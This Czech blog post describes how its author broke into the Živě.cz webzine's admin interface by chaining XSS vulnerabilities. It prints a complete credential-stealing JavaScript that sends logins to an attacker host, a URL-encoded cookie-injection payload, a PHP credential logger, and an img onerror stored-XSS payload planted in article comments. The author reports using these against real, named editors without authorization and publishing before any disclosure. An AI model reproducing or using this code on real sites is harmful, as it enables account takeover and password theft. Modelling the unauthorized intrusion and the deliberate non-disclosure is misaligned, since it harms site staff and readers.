Živě.cz hacknuto pomocí XSS

Verze pro tiskPDF verze

Podařilo se mi získat uživatelská hesla k administračnímu rozhraní webzinu Živě.cz, které slouží ke správě článku, diskusí, anket a dalších věcí. K celému útoku jsem použil pouze XSS zranitelností nacházejících se na dvou místech.

Originální článek: http://sysel.security-portal.cz

Všechno začalo náhodou. Na jednom blogu jsem si přečetl, kde se nachází přihlašovací stránka k webové administraci. I bez toho by ale nebylo těžké uhodnout její umístění. Pro vyzkoušení jsem se pokusil přihlásit s vymyšlenými údaji.


Přihlašení do administrace

Jak vidíte na screenshotu, vstupní políčka jsou vyplňována hodnotou, která je předávána pomocí proměnných strUserName a strPassword v URL adrese. Otestoval jsem tento výstup na XSS a ukázalo se, že je stránka zranitelná.

?strUserName=jmeno&amp;strPassword="><script>alert("XSS");</script>


XSS zranitelnost

Potom jsem pomocí rozšíření do FireFoxu s názvem LiveHTTPHeaders nastavil cookie se jménem strPassword a znovu si zobrazil stránku. Políčko pro heslo se vyplňilo obsahem cookie. Po tomto zjištění jsem se rozhodl, že se toho pokusím využít k průniku do administrace. Zamýšlel jsem, že kdybych našel způsob, jak některému z uživatelů nastavit takovou permanentní cookie, která by obsahovala JavaScript, mohl bych zjistit jeho přihlašovací údaje. Uživatel by přišel na přihlašovací stránku, script z cookie by se vložil do stránky a po zadaní jména a hesla do formuláře by tyto údaje zachytil a odeslal na můj server.

Script na zachytávání přihlašovacích údajů

Script je napsán tak, aby přihlašující se uživatel nic nepoznal. Projeví se pouze tím, že mezi odesláním formuláře a přihlášením vznikne prodleva v délce tří sekund. V závislosti na webovém prohlížeči se také může v dolní liště na malý okamžik zobrazit adresa, na kterou jsou odesílány zachycené údaje.

logFrm = null;
imgSend = null;

function sendData()
{

  try {
    if (logFrm) {

      imgSend = new Image();
      // Odeslani ziskanych udaju na utocnikovo server
      imgSend.src = "http://www.attacker.foo/image.php?u=" +

      escape(logFrm.strUserName.value) + "&amp;p=" + escape(logFrm.strPassword.value);
     
      logFrm.onsubmit = waitToSend;
      /* Po 3 sekundach odesle formular. Toto zpozdeni je potreba proto, aby

         byl dostatek casu na odeslani ziskanych udaju.
      */

      setTimeout("logFrm.submit()",3000);
      return false;

    }
  }
  catch (e) {
  }

  return true;
}


function waitToSend()
{
  return true;
}

function main()
{
  var c,s,e;

  var val = "";
  var find = "strPassword=";
  var expires = new Date();


  frms = document.getElementsByTagName("form");
  if (frms.length > 0) {
    logFrm = frms[0];
    // Nastavi funkci, ktera se zavola pred odeslanim formulare

    logFrm.onsubmit = sendData;
  }
 
  // Prodlouzi platnost cookie strPassword, ktera zajistuje vkladani scriptu

  c = document.cookie;
  s = c.indexOf(find);
  if (s >= 0) {
    e = c.indexOf(";",s + find.length);

    val = e < 0 ? c.substr(s + find.length) : c.substr(s + find.length,e - s - find.length);

    if (val != "") {
      expires.setTime(expires.getTime() + 365 * 24 * 60 * 60 * 1000);

      document.cookie = find + val + "; expires=" + expires.toGMTString() + "; path=/";
    }

  }
 
}

try {
  main();
}
catch (e) {

}

Uvedený script se uloží do souboru a umístí na nějaký server. Do Cookie strPassword se nastaví HTML kód, který zajistí vložení scriptu z tohoto serveru.

"><script src="http://www.attacker.foo/e.js"></script><br style="display:none

Tento kód je vhodné konvertovat do URL encoded

strPassword=%22%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70
%3A%2F%2F%77%77%77%2E%61%74%74%61%63%6B%65%72%2E%66%6F%6F%2F%65%2E
%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%62%72%20%73%74%79%6C%65
%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65

Na server se ještě umístí soubor image.php s PHP scriptem, který údaje zaslané JavaScriptem zapíše do souboru
<?php
 
  function trace($text)
  {
    $hFile = fopen("viewlog.txt","a");

    fwrite($hFile,$_SERVER["REMOTE_ADDR"] . ";" . date("j-m-Y H:i:s;") . $text  . "\r\n");
    fclose($hFile);

  }
 
  $user = isset($_GET["u"]) ? $_GET["u"] : "";
  $pass = isset($_GET["p"]) ? $_GET["p"] : "";

 
  trace("User: \"$user\" Password: \"$pass\"");  
?>

XSS v diskuzi u článků

První část byla hotová a zbývalo najít způsob, jak nejakému redaktorovi Žive cookie nastavit. Vzpomněl jsem si, že jsem několikrát viděl v diskuzi pod článkem komentář od čtenáře, který obsahoval obrázek. Zaměřil jsem se tedy na povolený HTML tag IMG a podařilo se mi pomocí něho najít způsob, jak do komentáře propašovat JavaScript následující konstrukcí:

<img onerror="this.src = 'http://www.zive.cz/img/smileys/11.gif';
eval(String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41,59))
" src="http://www.zive.cz/img/smileys/999.gif">

Atribut src obsahuje záměrně adresu, na které se nenachází obrázek, aby se vyvolala událost onerror, která nastává právě v případě, že se nepodaří začít nahrávat obrázek. Po vzniku události je vykonán JavaScript v atributu onerror. JavaScript nastaví atribut src na obrázek malého smajlíka, aby se skutečně nějaký obrázek zobrazil. Funkce eval() vykoná script vrácený jako řetězec od metody String.fromCharCode(). Tato metoda převádí posloupnost ASCII hodnou oddělených čárkou na řetězec znaků odpovídajících jednotlivým ASCII hodnotám. V tomto případě posloupnost odpovídá řetězci alert("XSS");

Tímto způsobem jsem začal do diskuzí u nejnovějších članků na Živě.cz vkládat následující script, který nastaví cookie s názvem strPassword způsobující vkládaní externího scriptu na zachytávaní hesel do přihlašovací stránky.

e = new Date(); <br>
e.setTime(e.getTime() + 365 * 24 * 60 * 60 * 1000); <br>

document.cookie = "strPassword=%22%3E%3C%73%63%72%69%70%74%20%73%72
%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%61%74%74%61%63%6B%65%72%2E%66
%6F%6F%2F%65%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%3C%62%72%20%73%74
%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65; expires=" +
e.toGMTString() + "; path=/";

Hned druhý den ráno jsem v souboru s hesly našel přihlašovací údaje Adama Vágnera, za několik hodin se přidal Vlastimil Waic a postupně následovali další redaktoři. Na screenshotu se můžete podívat, jak administrace vypadá.


Administrace Živě.cz

Zjistil jsem, že každý člen administrace může mít nastavená specifická práva, pomocí kterých mu je vymezeno, co může spravovat. Když jsem získal přihlašovací údaje uživatele, který měl právo přidávat a editovat uživatele, mohl jsem si zobrazit hesla včech uživatelů. To znamená, že jsou hesla ukládána v plain textu :)

Závěr

Popsané chyby se nacházejí i na dalších stránkách Computer Pressu. Na Doupě.cz, Živé.cz, ale na nich jsem se o průnik nepokoušel. V době uveřejnění tohoto článku nejsou zranitelnosti ještě opraveny, protože jsem je nikomu neoznamoval. Mám za to, že to není potřeba. Až si článek přečtou odpovědní lidé, jistě chyby okamžitě opraví a do té doby je nepravděpodobné, že by někdo realizoval stejný útok jako já. Redaktorům radím, aby si do opravení chyb před každým přihlášením do administrace raději smazali cookies. Také by si měli změnit svoje heslo, které by mělo být na příště silnější, jak to radí ve svých článcích čtenářům. Že ano pane Waici :) Mým cílem není někoho poškozovat, a proto jsem v administraci neměnil žádná nastavení, nic jsem nemazal apod.